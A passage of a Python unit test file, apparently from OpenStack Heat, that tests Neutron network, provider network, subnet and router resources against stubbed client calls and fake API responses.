}, "ip_version": 4, "cidr": "192.168.10.0/24", "gateway_ip": "192.168.10.11", "enable_dhcp": false } }, "floating_ip": { "Type": "OS::Neutron::FloatingIP", "Properties": { "floating_network": { "Ref": "net_external" }, } }, "router": { "Type": "OS::Neutron::Router", "Properties": { "name": "router_heat", "external_gateway_info": { "network": { "Ref": "net_external" } } } } } } ''' stpna = { "network": { "status": "ACTIVE", "subnets": [], "name": "the_provider_network", "admin_state_up": True, "shared": True, "provider:network_type": "vlan", "provider:physical_network": "physnet_1", "provider:segmentation_id": "101", "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" } } stpnb = copy.deepcopy(stpna) stpnb['network']['status'] = "BUILD" class NeutronTest(HeatTestCase): def test_validate_properties(self): vs = {'router:external': True} data = {'admin_state_up': False, 'value_specs': vs} p = properties.Properties(net.Net.properties_schema, data) self.assertIsNone(qr.validate_properties(p)) vs['shared'] = True self.assertEqual('shared not allowed in value_specs', qr.validate_properties(p)) vs.pop('shared') vs['name'] = 'foo' self.assertEqual('name not allowed in value_specs', qr.validate_properties(p)) vs.pop('name') vs['tenant_id'] = '1234' self.assertEqual('tenant_id not allowed in value_specs', qr.validate_properties(p)) vs.pop('tenant_id') vs['foo'] = '1234' self.assertIsNone(qr.validate_properties(p)) def test_validate_depr_properties_required_both(self): data = {'network_id': '1234', 'network': 'abc'} p = properties.Properties(subnet.Subnet.properties_schema, data) self.assertRaises(exception.ResourcePropertyConflict, qr._validate_depr_property_required, p, 'network', 'network_id') def test_validate_depr_properties_required_neither(self): data = {} p = properties.Properties(subnet.Subnet.properties_schema, data) self.assertRaises(exception.StackValidationFailed, qr._validate_depr_property_required, p, 'network', 'network_id') def test_validate_depr_properties_required_with_refs(self): funct = functions.GetParam(mock.Mock(), 'get_param', 'private_subnet_id') data = {'network_id': funct} p = properties.Properties(subnet.Subnet.properties_schema, data, resolver=lambda d: None) # no assert, as we are looking for no exception. qr._validate_depr_property_required(p, 'network', 'network_id') def test_prepare_properties(self): data = {'admin_state_up': False, 'value_specs': {'router:external': True}} p = properties.Properties(net.Net.properties_schema, data) props = qr.prepare_properties(p, 'resource_name') self.assertEqual({'name': 'resource_name', 'router:external': True, 'admin_state_up': False, 'shared': False}, props) def test_is_built(self): self.assertTrue(qr.is_built({'status': 'ACTIVE'})) self.assertTrue(qr.is_built({'status': 'DOWN'})) self.assertFalse(qr.is_built({'status': 'BUILD'})) e = self.assertRaises(resource.ResourceInError, qr.is_built, { 'status': 'ERROR' }) self.assertEqual( 'Went to status ERROR due to "Unknown"', six.text_type(e)) e = self.assertRaises(resource.ResourceUnknownStatus, qr.is_built, { 'status': 'FROBULATING' }) self.assertEqual( 'Resource is not built - Unknown status FROBULATING', six.text_type(e)) def test_resolve_attribute(self): class SomeNeutronResource(qr): properties_schema = {} tmpl = rsrc_defn.ResourceDefinition('test_res', 'Foo') stack = mock.MagicMock() res = SomeNeutronResource('aresource', tmpl, stack) mock_show_resource = mock.MagicMock() mock_show_resource.side_effect = [{'attr1': 'val1', 'attr2': 'val2'}, {'attr1': 'val1', 'attr2': 'val2'}, {'attr1': 'val1', 'attr2': 'val2'}, qe.NeutronClientException] res._show_resource = mock_show_resource self.assertEqual({'attr1': 'val1', 'attr2': 'val2'}, res._resolve_attribute('show')) self.assertEqual('val2', res._resolve_attribute('attr2')) self.assertRaises(KeyError, res._resolve_attribute, 'attr3') self.assertIsNone(res._resolve_attribute('attr2')) def test_get_secgroup_uuids(self): # test get_secgroup_uuids with uuid security_groups = ['b62c3079-6946-44f5-a67b-6b9091884d4f', '9887157c-d092-40f5-b547-6361915fce7d'] self.assertEqual(security_groups, qr.get_secgroup_uuids(security_groups, None, None)) # test get_secgroup_uuids with name secgroups = ['security_group_1'] expected_groups = ['0389f747-7785-4757-b7bb-2ab07e4b09c3'] ctx = utils.dummy_context( tenant_id='dc4b074874244f7693dd65583733a758') fake_groups_list = { 'security_groups': [ { 'tenant_id': 'dc4b074874244f7693dd65583733a758', 'id': '0389f747-7785-4757-b7bb-2ab07e4b09c3', 'name': 'security_group_1', 'security_group_rules': [], 'description': 'no protocol' } ] } nclient = neutronclient.Client() self.m.StubOutWithMock(neutronclient.Client, 'list_security_groups') neutronclient.Client.list_security_groups().AndReturn( fake_groups_list) self.m.ReplayAll() self.assertEqual(expected_groups, qr.get_secgroup_uuids(secgroups, nclient, ctx.tenant_id)) self.m.VerifyAll() self.m.UnsetStubs() # test there are two securityGroups with same name, but there is # one belongs to the tenant fake_groups_list = { 'security_groups': [ { 'tenant_id': 'dc4b074874244f7693dd65583733a758', 'id': '0389f747-7785-4757-b7bb-2ab07e4b09c3', 'name': 'security_group_1', 'security_group_rules': [], 'description': 'no protocol' }, { 'tenant_id': '64395a8e5beb4930a18245f76a5b1570', 'id': '384ccd91-447c-4d83-832c-06974a7d3d05', 'name': 'security_group_1', 'security_group_rules': [], 'description': 'no protocol' } ] } self.m.StubOutWithMock(neutronclient.Client, 'list_security_groups') neutronclient.Client.list_security_groups().AndReturn( fake_groups_list) self.m.ReplayAll() self.assertEqual(expected_groups, qr.get_secgroup_uuids(secgroups, nclient, ctx.tenant_id)) self.m.VerifyAll() self.m.UnsetStubs() # test there are two securityGroups with same name, and the two # all belong to the tenant fake_groups_list = { 'security_groups': [ { 'tenant_id': 'dc4b074874244f7693dd65583733a758', 'id': '0389f747-7785-4757-b7bb-2ab07e4b09c3', 'name': 'security_group_1', 'security_group_rules': [], 'description': 'no protocol' }, { 'tenant_id': 'dc4b074874244f7693dd65583733a758', 'id': '384ccd91-447c-4d83-832c-06974a7d3d05', 'name': 'security_group_1', 'security_group_rules': [], 'description': 'no protocol' } ] } self.m.StubOutWithMock(neutronclient.Client, 'list_security_groups') neutronclient.Client.list_security_groups().AndReturn(fake_groups_list) self.m.ReplayAll() self.assertRaises(exception.PhysicalResourceNameAmbiguity, qr.get_secgroup_uuids, secgroups, nclient, ctx.tenant_id) self.m.VerifyAll() self.m.UnsetStubs() class NeutronNetTest(HeatTestCase): def setUp(self): super(NeutronNetTest, self).setUp() self.m.StubOutWithMock(neutronclient.Client, 'create_network') self.m.StubOutWithMock(neutronclient.Client, 'delete_network') self.m.StubOutWithMock(neutronclient.Client, 'show_network') self.m.StubOutWithMock(neutronclient.Client, 'update_network') self.m.StubOutWithMock(neutronclient.Client, 'add_network_to_dhcp_agent') self.m.StubOutWithMock(neutronclient.Client, 'remove_network_from_dhcp_agent') self.m.StubOutWithMock(neutronclient.Client, 'list_dhcp_agent_hosting_networks') self.stub_keystoneclient() def create_net(self, t, stack, resource_name): resource_defns = stack.t.resource_definitions(stack) rsrc = net.Net('test_net', resource_defns[resource_name], stack) scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) return rsrc def test_net(self): # Create script neutronclient.Client.create_network({ 'network': { 'name': u'the_network', 'admin_state_up': True, 'tenant_id': 'c1210485b2424d48804aad5d39c61b8f', 'shared': True} }).AndReturn({"network": { "status": "BUILD", "subnets": [], "name": "name", "admin_state_up": True, "shared": True, "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.list_dhcp_agent_hosting_networks( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({"agents": []}) neutronclient.Client.add_network_to_dhcp_agent( '28c25a04-3f73-45a7-a2b4-59e183943ddc', {'network_id': u'fc68ea2c-b60b-4b4f-bd82-94ec81110766'} ).AndReturn(None) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({"network": { "status": "BUILD", "subnets": [], "name": "name", "admin_state_up": True, "shared": True, "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({"network": { "status": "ACTIVE", "subnets": [], "name": "name", "admin_state_up": True, "shared": True, "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.NetworkNotFoundClient(status_code=404)) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({"network": { "status": "ACTIVE", "subnets": [], "name": "name", "admin_state_up": True, "shared": True, "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({"network": { "status": "ACTIVE", "subnets": [], "name": "name", "admin_state_up": True, "shared": True, "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766" }}) # Update script neutronclient.Client.list_dhcp_agent_hosting_networks( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn({ "agents": [{ "admin_state_up": True, "agent_type": "DHCP agent", "alive": True, "binary": "neutron-dhcp-agent", "configurations": { "dhcp_driver": "DummyDriver", "dhcp_lease_duration": 86400, "networks": 0, "ports": 0, "subnets": 0, "use_namespaces": True}, "created_at": "2014-03-20 05:12:34", "description": None, "heartbeat_timestamp": "2014-03-20 05:12:34", "host": "hostname", "id": "28c25a04-3f73-45a7-a2b4-59e183943ddc", "started_at": "2014-03-20 05:12:34", "topic": "dhcp_agent" }] }) neutronclient.Client.add_network_to_dhcp_agent( 'bb09cfcd-5277-473d-8336-d4ed8628ae68', {'network_id': u'fc68ea2c-b60b-4b4f-bd82-94ec81110766'} ).AndReturn(None) neutronclient.Client.remove_network_from_dhcp_agent( '28c25a04-3f73-45a7-a2b4-59e183943ddc', 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(None) neutronclient.Client.update_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', {'network': { 'shared': True, 'name': 'mynet', 'admin_state_up': True }}).AndReturn(None) # Delete script neutronclient.Client.delete_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(None) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.NetworkNotFoundClient(status_code=404)) neutronclient.Client.delete_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.NetworkNotFoundClient(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_template) stack = utils.parse_stack(t) rsrc = self.create_net(t, stack, 'network') # assert the implicit dependency between the gateway and the interface deps = stack.dependencies[stack['router_interface']] self.assertIn(stack['gateway'], deps) # assert the implicit dependency between the gateway and the subnet deps = stack.dependencies[stack['subnet']] self.assertIn(stack['gateway'], deps) rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', ref_id) self.assertIsNone(rsrc.FnGetAtt('status')) self.assertEqual('ACTIVE', rsrc.FnGetAtt('status')) self.assertRaises( exception.InvalidTemplateAttribute, rsrc.FnGetAtt, 'Foo') prop_diff = { "name": "mynet", "dhcp_agent_ids": [ "bb09cfcd-5277-473d-8336-d4ed8628ae68" ] } props = copy.copy(rsrc.properties.data) props.update(prop_diff) update_snippet = rsrc_defn.ResourceDefinition(rsrc.name, rsrc.type(), props) rsrc.handle_update(update_snippet, {}, prop_diff) scheduler.TaskRunner(rsrc.delete)() rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') scheduler.TaskRunner(rsrc.delete)() self.m.VerifyAll() class NeutronProviderNetTest(HeatTestCase): def setUp(self): super(NeutronProviderNetTest, self).setUp() self.m.StubOutWithMock(neutronclient.Client, 'create_network') self.m.StubOutWithMock(neutronclient.Client, 'show_network') self.m.StubOutWithMock(neutronclient.Client, 'delete_network') self.m.StubOutWithMock(neutronclient.Client, 'update_network') self.stub_keystoneclient() def create_provider_net(self): # Create script neutronclient.Client.create_network({ 'network': { 'name': u'the_provider_network', 'admin_state_up': True, 'provider:network_type': 'vlan', 'provider:physical_network': 'physnet_1', 'provider:segmentation_id': '101', 'shared': True} }).AndReturn(stpnb) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(stpnb) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(stpna) t = template_format.parse(provider_network_template) stack = utils.parse_stack(t) resource_defns = stack.t.resource_definitions(stack) rsrc = provider_net.ProviderNet( 'provider_net', resource_defns['provider_network_vlan'], stack) return rsrc def test_create_provider_net(self): rsrc = self.create_provider_net() neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.NetworkNotFoundClient(status_code=404)) # Delete script neutronclient.Client.delete_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(None) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndReturn(stpna) neutronclient.Client.show_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.NetworkNotFoundClient(status_code=404)) neutronclient.Client.delete_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766' ).AndRaise(qe.NetworkNotFoundClient(status_code=404)) self.m.ReplayAll() rsrc.validate() scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) ref_id = rsrc.FnGetRefId() self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', ref_id) self.assertIsNone(rsrc.FnGetAtt('status')) self.assertEqual('ACTIVE', rsrc.FnGetAtt('status')) self.assertRaises( exception.InvalidTemplateAttribute, rsrc.FnGetAtt, 'Foo') self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) self.assertEqual((rsrc.DELETE, rsrc.COMPLETE), rsrc.state) rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') scheduler.TaskRunner(rsrc.delete)() self.assertEqual((rsrc.DELETE, rsrc.COMPLETE), rsrc.state) self.m.VerifyAll() def test_update_provider_net(self): rsrc = self.create_provider_net() neutronclient.Client.update_network( 'fc68ea2c-b60b-4b4f-bd82-94ec81110766', {'network': { 'shared': True, 'name': 'prov_net', 'admin_state_up': True, 'provider:network_type': 'vlan', 'provider:physical_network': 'physnet_1', 'provider:segmentation_id': '102' }}).AndReturn(None) self.m.ReplayAll() rsrc.validate() scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) props = { "name": "prov_net", "shared": True, "admin_state_up": True, "network_type": "vlan", "physical_network": "physnet_1", "segmentation_id": "102" } update_snippet = rsrc_defn.ResourceDefinition(rsrc.name, rsrc.type(), props) self.assertIsNone(rsrc.handle_update(update_snippet, {}, {})) self.m.VerifyAll() class NeutronSubnetTest(HeatTestCase): def setUp(self): super(NeutronSubnetTest, self).setUp() self.m.StubOutWithMock(neutronclient.Client, 'create_subnet') self.m.StubOutWithMock(neutronclient.Client, 'delete_subnet') self.m.StubOutWithMock(neutronclient.Client, 'show_subnet') self.m.StubOutWithMock(neutronclient.Client, 'update_subnet') self.m.StubOutWithMock(neutronV20, 'find_resourceid_by_name_or_id') self.stub_keystoneclient() def create_subnet(self, t, stack, resource_name): resource_defns = stack.t.resource_definitions(stack) rsrc = subnet.Subnet('test_subnet', resource_defns[resource_name], stack) return rsrc def test_subnet(self): t = self._test_subnet() neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'None' ).AndReturn('None') stack = utils.parse_stack(t) rsrc = self.create_subnet(t, stack, 'subnet') self.m.ReplayAll() scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('91e47a57-7508-46fe-afc9-fc454e8580e1', ref_id) self.assertIsNone(rsrc.FnGetAtt('network_id')) self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', rsrc.FnGetAtt('network_id')) self.assertEqual('8.8.8.8', rsrc.FnGetAtt('dns_nameservers')[0]) # assert the dependency (implicit or explicit) between the ports # and the subnet self.assertIn(stack['port'], stack.dependencies[stack['subnet']]) self.assertIn(stack['port2'], stack.dependencies[stack['subnet']]) props = { "name": 'mysubnet', "network_id": cfn_funcs.ResourceRef(stack, "Ref", "network"), "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "ip_version": 4, "cidr": "10.0.3.0/24", "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "dns_nameservers": ["8.8.8.8", "192.168.1.254"], } update_snippet = rsrc_defn.ResourceDefinition(rsrc.name, rsrc.type(), props) rsrc.handle_update(update_snippet, {}, {}) self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) self.m.VerifyAll() def test_subnet_deprecated(self): t = self._test_subnet(resolve_neutron=False) stack = utils.parse_stack(t) rsrc = self.create_subnet(t, stack, 'subnet') self.m.ReplayAll() scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('91e47a57-7508-46fe-afc9-fc454e8580e1', ref_id) self.assertIsNone(rsrc.FnGetAtt('network_id')) self.assertEqual('fc68ea2c-b60b-4b4f-bd82-94ec81110766', rsrc.FnGetAtt('network_id')) self.assertEqual('8.8.8.8', rsrc.FnGetAtt('dns_nameservers')[0]) # assert the dependency (implicit or explicit) between the ports # and the subnet self.assertIn(stack['port'], stack.dependencies[stack['subnet']]) self.assertIn(stack['port2'], stack.dependencies[stack['subnet']]) self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) rsrc.state_set(rsrc.CREATE, rsrc.COMPLETE, 'to delete again') self.assertIsNone(scheduler.TaskRunner(rsrc.delete)()) self.m.VerifyAll() def _test_subnet(self, resolve_neutron=True): neutronclient.Client.create_subnet({ 'subnet': { 'name': utils.PhysName('test_stack', 'test_subnet'), 'network_id': u'None', 'dns_nameservers': [u'8.8.8.8'], 'allocation_pools': [ {'start': u'10.0.3.20', 'end': u'10.0.3.150'}], 'host_routes': [ {'destination': u'10.0.4.0/24', 'nexthop': u'10.0.3.20'}], 'ip_version': 4, 'cidr': u'10.0.3.0/24', 'tenant_id': 'c1210485b2424d48804aad5d39c61b8f', 'enable_dhcp': True } }).AndReturn({ "subnet": { "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "cidr": "10.0.3.0/24", "dns_nameservers": ["8.8.8.8"], "enable_dhcp": True, "gateway_ip": "10.0.3.1", "host_routes": [ {"destination": "10.0.4.0/24", "nexthop": "10.0.3.20"}], "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "ip_version": 4, "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f" } }) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndRaise( qe.NeutronClientException(status_code=404)) sn = { "subnet": { "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "gateway_ip": "10.0.3.1", 'host_routes': [ {'destination': u'10.0.4.0/24', 'nexthop': u'10.0.3.20'}], "ip_version": 4, "cidr": "10.0.3.0/24", "dns_nameservers": ["8.8.8.8"], "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "enable_dhcp": True, } } neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndReturn(sn) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndReturn(sn) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndReturn(sn) # Delete script neutronclient.Client.delete_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndReturn(None) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndRaise(qe.NeutronClientException(status_code=404)) neutronclient.Client.delete_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndRaise(qe.NeutronClientException(status_code=404)) if resolve_neutron: t = template_format.parse(neutron_template) # Update script neutronclient.Client.update_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1', {'subnet': { 'dns_nameservers': ['8.8.8.8', '192.168.1.254'], 'name': 'mysubnet', 'enable_dhcp': True }} ) else: t = template_format.parse(neutron_template_deprecated) return t def test_subnet_disable_dhcp(self): neutronV20.find_resourceid_by_name_or_id( mox.IsA(neutronclient.Client), 'network', 'None' ).AndReturn('None') neutronclient.Client.create_subnet({ 'subnet': { 'name': utils.PhysName('test_stack', 'test_subnet'), 'network_id': u'None', 'dns_nameservers': [u'8.8.8.8'], 'allocation_pools': [ {'start': u'10.0.3.20', 'end': u'10.0.3.150'}], 'host_routes': [ {'destination': u'10.0.4.0/24', 'nexthop': u'10.0.3.20'}], 'ip_version': 4, 'enable_dhcp': False, 'cidr': u'10.0.3.0/24', 'tenant_id': 'c1210485b2424d48804aad5d39c61b8f' } }).AndReturn({ "subnet": { "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "host_routes": [ {"destination": "10.0.4.0/24", "nexthop": "10.0.3.20"}], "cidr": "10.0.3.0/24", "dns_nameservers": ["8.8.8.8"], "enable_dhcp": False, "gateway_ip": "10.0.3.1", "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "ip_version": 4, "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f" } }) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1').AndReturn({ "subnet": { "name": "name", "network_id": "fc68ea2c-b60b-4b4f-bd82-94ec81110766", "tenant_id": "c1210485b2424d48804aad5d39c61b8f", "allocation_pools": [ {"start": "10.0.3.20", "end": "10.0.3.150"}], "host_routes": [ {"destination": "10.0.4.0/24", "nexthop": "10.0.3.20"}], "gateway_ip": "10.0.3.1", "ip_version": 4, "cidr": "10.0.3.0/24", "dns_nameservers": ["8.8.8.8"], "id": "91e47a57-7508-46fe-afc9-fc454e8580e1", "enable_dhcp": False, } }) neutronclient.Client.delete_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndReturn(None) neutronclient.Client.show_subnet( '91e47a57-7508-46fe-afc9-fc454e8580e1' ).AndRaise(qe.NeutronClientException(status_code=404)) self.m.ReplayAll() t = template_format.parse(neutron_template) t['Resources']['subnet']['Properties']['enable_dhcp'] = 'False' stack = utils.parse_stack(t) rsrc = self.create_subnet(t, stack, 'subnet') self.m.ReplayAll() scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) rsrc.validate() ref_id = rsrc.FnGetRefId() self.assertEqual('91e47a57-7508-46fe-afc9-fc454e8580e1', ref_id) self.assertIs(False, rsrc.FnGetAtt('enable_dhcp')) scheduler.TaskRunner(rsrc.delete)() self.m.VerifyAll() def test_null_gateway_ip(self): p = {} subnet.Subnet._null_gateway_ip(p) self.assertEqual({}, p) p = {'foo': 'bar'} subnet.Subnet._null_gateway_ip(p) self.assertEqual({'foo': 'bar'}, p) p = { 'foo': 'bar', 'gateway_ip': '198.51.100.0' } subnet.Subnet._null_gateway_ip(p) self.assertEqual({ 'foo': 'bar', 'gateway_ip': '198.51.100.0' }, p) p = { 'foo': 'bar', 'gateway_ip': '' } subnet.Subnet._null_gateway_ip(p) self.assertEqual({ 'foo': 'bar', 'gateway_ip': None }, p) # This should not happen as prepare_properties # strips out None values, but testing anyway p = { 'foo': 'bar', 'gateway_ip': None } subnet.Subnet._null_gateway_ip(p) self.assertEqual({ 'foo': 'bar', 'gateway_ip': None }, p) class NeutronRouterTest(HeatTestCase): def setUp(self): super(NeutronRouterTest, self).setUp() self.m.StubOutWithMock(neutronclient.Client, 'create_router') self.m.StubOutWithMock(neutronclient.Client, 'delete_router') self.m.StubOutWithMock(neutronclient.Client, 'show_router') self.m.StubOutWithMock(neutronclient.Client, 'update_router') self.m.StubOutWithMock(neutronclient.Client, 'add_interface_router') self.m.StubOutWithMock(neutronclient.Client, 'remove_interface_router') self.m.StubOutWithMock(neutronclient.Client, 'add_gateway_router') self.m.StubOutWithMock(neutronclient.Client, 'remove_gateway_router') self.m.StubOutWithMock(neutronclient.Client, 'add_router_to_l3_agent') self.m.StubOutWithMock(neutronclient.Client, 'remove_router_from_l3_agent') self.m.StubOutWithMock(neutronclient.Client, 'list_l3_agent_hosting_routers') self.m.StubOutWithMock(neutronV20, 'find_resourceid_by_name_or_id') self.stub_keystoneclient() def create_router(self, t, stack, resource_name): resource_defns = stack.t.resource_definitions(stack) rsrc = router.Router('router', resource_defns[resource_name], stack) scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) return rsrc def create_router_interface(self, t, stack, resource_name, properties=None): properties = properties or {} t['Resources'][resource_name]['Properties'] = properties resource_defns = stack.t.resource_definitions(stack) rsrc = router.RouterInterface( 'router_interface', resource_defns[resource_name], stack) scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) return rsrc def create_gateway_router(self, t, stack, resource_name, properties=None): properties = properties or {} t['Resources'][resource_name]['Properties'] = properties resource_defns = stack.t.resource_definitions(stack) rsrc = router.RouterGateway( 'gateway', resource_defns[resource_name], stack) scheduler.TaskRunner(rsrc.create)() self.assertEqual((rsrc.CREATE, rsrc.COMPLETE), rsrc.state) return rsrc def test_router(self): neutronclient.Client.create_router({ 'router': { 'name': utils.PhysName('test_stack', 'router'), 'admin_state_up': True, } }).AndReturn({ "router": { "status": "BUILD", "external_gateway_info": None, "name": utils.PhysName('test_stack', 'router'), "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) neutronclient.Client.list_l3_agent_hosting_routers( u'3e46229d-8fce-4733-819a-b5fe630550f8' ).AndReturn({"agents": []}) neutronclient.Client.add_router_to_l3_agent( u'792ff887-6c85-4a56-b518-23f24fa65581', {'router_id': u'3e46229d-8fce-4733-819a-b5fe630550f8'} ).AndReturn(None) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').AndReturn({ "router": { "status": "BUILD", "external_gateway_info": None, "name": utils.PhysName('test_stack', 'router'), "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "routes": [], "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').AndReturn({ "router": { "status": "ACTIVE", "external_gateway_info": None, "name": utils.PhysName('test_stack', 'router'), "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "routes": [], "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').AndRaise( qe.NeutronClientException(status_code=404)) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').AndReturn({ "router": { "status": "ACTIVE", "external_gateway_info": None, "name": utils.PhysName('test_stack', 'router'), "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "routes": [], "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8').AndReturn({ "router": { "status": "ACTIVE", "external_gateway_info": None, "name": utils.PhysName('test_stack', 'router'), "admin_state_up": True, "tenant_id": "3e21026f2dc94372b105808c0e721661", "routes": [], "id": "3e46229d-8fce-4733-819a-b5fe630550f8" } }) # Update script neutronclient.Client.list_l3_agent_hosting_routers( u'3e46229d-8fce-4733-819a-b5fe630550f8' ).AndReturn({ "agents": [{ "admin_state_up": True, "agent_type": "L3 agent", "alive": True, "binary": "neutron-l3-agent", "configurations": { "ex_gw_ports": 1, "floating_ips": 0, "gateway_external_network_id": "", "handle_internal_only_routers": True, "interface_driver": "DummyDriver", "interfaces": 1, "router_id": "", "routers": 1, "use_namespaces": True}, "created_at": "2014-03-11 05:00:05", "description": None, "heartbeat_timestamp": "2014-03-11 05:01:49", "host": "l3_agent_host", "id": "792ff887-6c85-4a56-b518-23f24fa65581", "started_at": "2014-03-11 05:00:05", "topic": "l3_agent" }] }) neutronclient.Client.remove_router_from_l3_agent( u'792ff887-6c85-4a56-b518-23f24fa65581', u'3e46229d-8fce-4733-819a-b5fe630550f8' ).AndReturn(None) neutronclient.Client.add_router_to_l3_agent( u'63b3fd83-2c5f-4dad-b3ae-e0f83a40f216', {'router_id': u'3e46229d-8fce-4733-819a-b5fe630550f8'} ).AndReturn(None) neutronclient.Client.update_router( '3e46229d-8fce-4733-819a-b5fe630550f8', {'router': { 'name': 'myrouter', 'admin_state_up': False }} ) # Delete script neutronclient.Client.delete_router( '3e46229d-8fce-4733-819a-b5fe630550f8' ).AndReturn(None) neutronclient.Client.show_router( '3e46229d-8fce-4733-819a-b5fe630550f8' ).AndRaise(qe.NeutronClientException(status_code=404)) neutronclient.Client.delete_router( '3e46229d-8fce-4733-819a-b5fe630550f8' 